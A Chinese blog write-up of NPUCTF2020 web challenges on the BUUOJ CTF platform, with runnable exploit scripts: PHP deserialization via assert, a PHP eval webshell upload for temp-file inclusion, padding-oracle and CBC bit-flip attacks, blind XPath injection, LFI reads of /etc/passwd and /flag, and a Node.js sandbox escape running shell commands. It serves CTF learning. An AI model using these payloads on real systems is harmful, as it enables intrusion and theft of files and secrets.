BUUOJ NPUCTF2020 web


随便记录一下,可能不够详细,但是会把参考链接放上去(参考的比较详细的文章)

[TOC]

[NPUCTF2020]ReadlezPHP

看源码发现 ./time.php?source ,进去给了源码

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

简单反序列化,使用 assert ,因为 eval 不支持这样的动态调用没有 assert 灵活

<?php

/**
 * @Author: ying
 * @Date:   2021-09-18 15:42:56
 * @Last Modified by:   ying
 * @Last Modified time: 2021-09-18 15:44:46
 */

class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = 'phpinfo()';
        $this->b = 'assert';
    }
}
echo urlencode(serialize(new HelloPhp));
# output:O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D[Finished in 0.2s]

搜索 flag 即可

[NPUCTF2020]ezinclude

这个,不会,看了wp。其中 php://filter/string.strip_tags导致php崩溃清空堆栈重启,崩溃原因是存在一处空指针引用 这个,原理不知得是什么,原作者说调试,但后续文章没找到,网上分析也没有,我太菜也不会分析。。。暂时搁置

进题目,看源码,<!--md5($secret.$name)===$pass -->,传参方式未知,全写上,并抓包

image-20210918165143417

返回包的 cookie 很奇怪,多次发包都是不变的,放到pass里面

image-20210918165237291

image-20210918165318189

明显的 LFI ,读源码(php://filter/convert.base64-encode/resource=)

flflflflag.php

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

index.php

<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
	echo '<script language="javascript" type="text/javascript">
           window.location.href="flflflflag.php";
	</script>
';
}else{
	setcookie("Hash",md5($secret.$name),time()+3600000);
	echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>

config.php

<?php
$secret='%^$&$#fffdflag_is_not_here_ha_ha';
?>

到这里就不会了,看wp才知道

摘自:PHP临时文件机制与利用的思考

php7.0有一个bug,利用php://filter/string.strip_tags造成崩溃。在含有文件包含漏洞的地方,使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell,这个崩溃原因是存在一处空指针引用。

利用版本如下:

• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复

​ 使用脚本

# -*- coding: utf-8 -*-
# @Author: ying
# @Date:   2021-09-18 16:42:35
# @Last Modified by:   ying
# @Last Modified time: 2021-09-18 16:43:47

import requests
from io import BytesIO

url="http://db2dfb14-2e65-48e7-86b6-466f54fe396d.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
phpfile="<?php @eval($_POST['cmd']); ?>"
filedata={
    "file":phpfile
}
req=requests.post(url=url,files=filedata)
print(req.text)

到这里只需要知道文件名就行了,本以为是爆破,但是wp里面扫目录扫出来个 dir.php 。。。彳亍,加到字典里面

<?php
var_dump(scandir('/tmp'));
?>

正好,不用爆破了hhh,连上蚁剑没找到 flag,原来还是在phpinfo()里面

image-20210918171521947

参考

[NPUCTF2020]ezinclude(PHP临时文件包含)

[BUUCTF题解][NPUCTF2020]ezinclude 1

PHP临时文件机制与利用的思考

LFI via SegmentFault

[NPUCTF2020]web🐕

汪汪汪,我太笨了,cbc看了好久,推荐读的文章,炒鸡详细!Padding Oracle原理深度解析&CBC字节翻转攻击原理解析padding oracle和cbc翻转攻击

进去送源码了,看开头的定义知道是 cbc 加密,这里需要进行 Padding Oracle Attack

<?php
error_reporting(0);
include('config.php');   # $key,$flag
define("METHOD", "aes-128-cbc");  //定义加密方式
define("SECRET_KEY", $key);    //定义密钥
define("IV","6666666666666666");    //定义初始向量 16个6
define("BR",'<br>');
if(!isset($_GET['source']))header('location:./index.php?source=1');


#var_dump($GLOBALS);   //听说你想看这个?
function aes_encrypt($iv,$data)
{
    echo "--------encrypt---------".BR;
    echo 'IV:'.$iv.BR;
    return base64_encode(openssl_encrypt($data, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)).BR;
}
function aes_decrypt($iv,$data)
{
    return openssl_decrypt(base64_decode($data),METHOD,SECRET_KEY,OPENSSL_RAW_DATA,$iv) or die('False');
}
if($_GET['method']=='encrypt')
{
    $iv = IV;
    $data = $flag;
    echo aes_encrypt($iv,$data);
} else if($_GET['method']=="decrypt")
{
    $iv = @$_POST['iv'];
    $data = @$_POST['data'];
    echo aes_decrypt($iv,$data);
}
echo "我摊牌了,就是懒得写前端".BR;

if($_GET['source']==1)highlight_file(__FILE__);

看了上面的文章基本就懂得差不多了,直接上脚本,看着注释理解一下吧

# -*- coding: utf-8 -*-
# @Author: ying
# @Date:   2021-09-19 15:50:15
# @Last Modified by:   ying
# @Last Modified time: 2021-09-20 16:54:01

import requests
import time

sess = requests.session()
url = 'http://ea63eab5-596e-4bc0-88e1-12d91f5c167a.node4.buuoj.cn:81/index.php?source=1&method=decrypt'

def xor(a, b):
    """
    用于输出两个字符串对位异或的结果
    """
    return ''.join([chr(ord(a[i]) ^ ord(b[i])) for i in range(len(a))])

def main():

    # 初始向量
    IV = '6666666666666666';
    # 密文
    CIPHERTEXT = 'ly7auKVQCZWum/W/4osuPA==';
    # 分组长度
    N = 16
    # middle 中间值
    IntermediaryValue = ''
    # 猜测的iv
    InitalizationValue = ''
    # 填充位
    padding = ''

    for step in range(1,N+1):
        print(f'正在猜测倒数第 '+str(step)+' 位\n')
        padding = chr(step)*(step-1)
        for x in range(0,256):
            print('猜测倒数第 '+str(step)+' 位为 ' + chr(x))
            '''
            InitalizationValue(猜测的iv)由以下三部分组成:
                待猜测的    chr(0)*(N-step)
                正在猜测的  chr(x)
                已经猜测的:
                    这部分可以单独出一个变量进行保存;也可以保存 middle(中间值),然后与 padding(填充位)异或得到
                    这里使用第二个,变量越多越复杂。。。
            '''
            InitalizationValue = chr(0)*(N-step)+chr(x)+xor(padding, IntermediaryValue)
            data = {
                "data":CIPHERTEXT,
                "iv":InitalizationValue
            }
            response = sess.post(url = url, data = data)
            time.sleep(0.06)
            if response.text != 'False':
                # 填充位正确,记录中间值(倒着猜的,所以相加循序不能变,一开始写反了。。。)
                IntermediaryValue =  xor(chr(x), chr(step)) + IntermediaryValue
                print('倒数第 '+str(step)+' 位猜测完成! middle 为:'+IntermediaryValue)
                break

    # 猜测结束,计算明文
    PLAINTEXT = xor(IntermediaryValue, IV)
    print('攻击结束!!!明文为:'+PLAINTEXT)

if __name__ == '__main__':
    main()

解出来是 FlagIsHere.php ,进去发现又是 cbc ,不过这次是 cbc 字节反转攻击

<?php
#error_reporting(0);
include('config.php');    //$fl4g
define("METHOD", "aes-128-cbc");
define("SECRET_KEY", "6666666");
session_start();

function get_iv(){    //生成随机初始向量IV
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}

$lalala = 'piapiapiapia';

if(!isset($_SESSION['Identity'])){
    $_SESSION['iv'] = get_iv();

    $_SESSION['Identity'] = base64_encode(openssl_encrypt($lalala, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $_SESSION['iv']));
}
echo base64_encode($_SESSION['iv'])."<br>";

if(isset($_POST['iv'])){
    $tmp_id = openssl_decrypt(base64_decode($_SESSION['Identity']), METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_POST['iv']));
    echo $tmp_id."<br>";
    if($tmp_id ==='weber')die($fl4g);
}

highlight_file(__FILE__);

看看上面的文章也该明白了,直接上脚本

# -*- coding: utf-8 -*-
# @Author: ying
# @Date:   2021-09-20 17:11:51
# @Last Modified by:   ying
# @Last Modified time: 2021-09-20 17:32:31

import requests
import base64

sess = requests.session()
url = 'http://ea63eab5-596e-4bc0-88e1-12d91f5c167a.node4.buuoj.cn:81/FlagIsHere.php'
cookies = {
    'PHPSESSID':'ff0a618b7bda2a74516b4cd658c19fc2'
}
data = {
    'iv':''
}

def main():

    IV = base64.b64decode('usVqHXk5Isff2ZII5k2joQ==');
    orginal = b'piapiapiapia\x04\x04\x04\x04'
    target = b'weber\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'
    result = b''
    for x in range(16):
        result += bytes([IV[x] ^ orginal[x] ^ target[x]])
    data['iv'] = base64.b64encode(result)
    response = sess.post(url = url, data = data, cookies = cookies, timeout = 3)
    print(response.text)

if __name__ == '__main__':
    main()

原题是一个云盘链接,buu这里直接给了附件,拖到 idea 里面或者反编译软件,然后就没了

雀氏不过分呢(我。。。。我佛慈悲)

image-20210920181258891

# -*- coding: utf-8 -*-
# @Author: ying
# @Date:   2021-09-20 18:11:57
# @Last Modified by:   ying
# @Last Modified time: 2021-09-20 18:12:24

a = [102, 108, 97, 103, 123, 119, 101, 54, 95, 52, 111, 103, 95, 49, 115, 95, 101, 52, 115, 121, 103, 48, 105, 110, 103, 125]
for x in a:
    print(chr(x), end='')
# output : flag{we6_4og_1s_e4syg0ing}

参考

BUUOJ刷题-Web-WebDog

Padding Oracle原理深度解析&CBC字节翻转攻击原理解析

padding oracle和cbc翻转攻击

[NPUCTF2020]ezlogin

以为是 sql、xxe,结果是 xpath 注入???第一次见,还是太菜啦

教程:XPath 教程XPath 注入指北XPATH注入学习xpath注入详解

看了 js 源码怎么传数据的,是 xml 类型,xxe 又不通,只得看 wp 了

wp说是 xpath 注入,有点类似 sql 盲注嗷,脚本很简单,token每次请求会刷新,所以记得用 session请求,提取 token 用了 xpath,本题考查的不就是这个么,嘿嘿

# -*- coding: utf-8 -*-
# @Author: ying
# @Date:   2021-09-20 23:02:37
# @Last Modified by:   ying
# @Last Modified time: 2021-09-21 10:24:16

import requests
import time
from lxml import etree

sess = requests.session()

url = 'http://a4f58e26-ddde-4655-b40b-de835c173c12.node4.buuoj.cn:81/login.php'
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
    "Content-Type": "application/xml"
}

strs = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'

flag = ''

for x in range(1,100):
    for y in strs:
        response = sess.get(url = url, timeout = 3)
        time.sleep(0.06)
        response.encoding = 'utf8'
        # 将数据转换为树,也就是 xpath
        root = etree.HTML(response.content)
        # chrome 右键 copy xpath,nice~
        token = root.xpath('//*[@id="token"]/@value')[0]
        # print(token)
        payload_root = f'''<username>'or substring(name(/*[1]), {x}, 1)='{y}'  or ''='</username><password>a</password><token>{token}</token>'''
        payload_root_child = f'''<username>'or substring(name(/root/*[1]), {x}, 1)='{y}'  or ''='</username><password>a</password><token>{token}</token>'''
        payload_accounts_child = f'''<username>'or substring(name(/root/accounts/*[1]), {x}, 1)='{y}'  or ''='</username><password>a</password><token>{token}</token>'''
        payload_accounts_user = f'''<username>'or substring(name(/root/accounts/user/*[3]), {x}, 1)='{y}'  or ''='</username><password>a</password><token>{token}</token>'''
        payload_username = f'''<username>'or substring(/root/accounts/user[2]/username/text(), {x}, 1)='{y}'  or ''='</username><password>a</password><token>{token}</token>'''
        payload_password = f'''<username>'or substring(/root/accounts/user[2]/password/text(), {x}, 1)='{y}'  or ''='</username><password>a</password><token>{token}</token>'''
        # print(payload)
        data = payload_password
        response = sess.post(url = url, headers = headers, data = data, timeout = 3)
        time.sleep(0.06)
        if "非法操作" in response.text:
            flag += y
            print(flag)
            break
    if "用户名或密码错误!" in response.text:
        break

adm1n@gtfly123登陆,看 url,像 LFI,试一试,admin.php?file=../../../../../../../etc/passwd 源码有东西,确实存在 LFI,直接读 flag发现返回值被ban了,只能伪协议编码,伪协议也可以大小写编码绕过,学费了

pHp://filter/string.rot13/resource=/flag

?file=pHp://filter/convert.Base64-encode/resource=/flag

[NPUCTF2020]EzShiro

这个涉及到 jackson反序列化 + JNDI注入 + LDAP,都还没分析过,先咕咕咕~

buuctf刷题-Java篇NPUCTF_WriteUps/m0on’s-writeup.md

[NPUCTF2020]验证🐎

我好菜 nodejs 也不太会。。。看wp喽

30题CTF(1)NPUCTF2020 验证🐎-(弱类型比较、hash绕过、构造函数执行任意代码)

开箱送源码喽

const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = require('./key.js').keys;

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

const template = fs.readFileSync('./index.html').toString();
function render(results) {
  return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
  name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
  keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {
  let result = '';
  const results = req.session.results || [];
  const { e, first, second } = req.body;
  if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
    if (req.body.e) {
      try {
        result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
      } catch (e) {
        console.log(e);
        result = 'Wrong Wrong Wrong!!!';
      }
      results.unshift(`${req.body.e}=${result}`);
    }
  } else {
    results.unshift('Not verified!');
  }
  if (results.length > 13) {
    results.pop();
  }
  req.session.results = results;
  res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  req.session.admin = req.session.admin || 0;
  res.send(render(req.session.results = req.session.results || []))
});

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

有 eval ,但是需要过两个关卡,第一个是 if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {,js 嘛,也是脚本语言,存在弱类型,这个弱类型类似php的

image-20210922093509727

关于长度的话,数值类型的是没有长度的,它只是一个属性

image-20210922093904301

在 node js 里面,任何数据类型与字符串相加其 type 都会变成 string

image-20210922094108343

所以第一个 if 就可以过了。综上,传入 {"e":paylod,"first":[1],"second":"1"} 即可

第二关就是过 function saferEval(str) 这里的正则 if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')),拆开看:

  1. (?:Math(?:\.\w+)?):匹配 Math.[0-9a-z]
  2. [()+\-*/&|^%<>=,?:]:匹配中括号内任意一个字符(\-为减号)
  3. (?:\d+\.?\d*(?:e\d+)?):匹配 数字开头 一个或零个点 一个或零个 e[0-9]
  4. :匹配空格

怎么构造 poc 我也不会,直接看别人的

(Math=>(
    Math=Math.constructor,
    Math.x=Math.constructor(
        Math.fromCharCode(
114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41)
        )()))(Math+1)
(Math=>(
        Math=Math.constructor,
        Math.x=Math.constructor(
            Math.fromCharCode("return process.mainModule.require('child_process').execSync('cat /flag')"))
        )()
    ))(Math+1)

也是拆开看

  1. Math本身是一个 object

  2. =>箭头函数(匿名函数)其类似 (参数1, 参数2, …, 参数N) => { 函数声明 } | 单一表达式 ,调用的话可以先将箭头函数赋值给变量在调用,也可以直接定义好后面跟上(参数)进行调用,看下面的例子(如果参数为单个的话就不需要括号了:(a=>a-a)(1)

    image-20210922102013205

  3. 然后是 Math=Math.constructor,Math.x=Math.constructor(......)),中间的逗号运算是从左往右算,返回最右边的运算结果:Math.constructor.constructor(.....)

    image-20210922102448972

  4. 最终返回的是一个 Function,在 js 中 每个 JavaScript 函数实际上都是一个 Function 对象。它可以动态的创建一个函数,还是看例子

    image-20210922103120090

  5. 那整个的一个结果就是创建函数,返回执行命令

生成 payload 的脚本(抄的,俺不会写)

import re
encode = lambda code: list(map(ord,code))
#decode = lambda code: "".join(map(chr,code))
a=f"""
(m0=>(
        m0=m0.constructor,
        m0.x=m0.constructor(
            m0.fromCharCode({encode("return process.mainModule.require('child_process').execSync('cat /flag')")})
        )()
    ))(Math+1)
"""
print(a+'\n')
a=re.sub(r"[\s\[\]]", "", a).replace("m0","Math")
print(a)

利用 exp:

import requests
import json
headers = {
    "Content-Type":"application/json"
}
url = "http://14b5ae3b-e444-4e5b-9e2b-1ba3100fc085.node3.buuoj.cn/"
data = {"e":'(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)',"first":[0],"second":"0"}
r = requests.post(url,data=json.dumps(data),headers=headers)
print(r.text)

文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录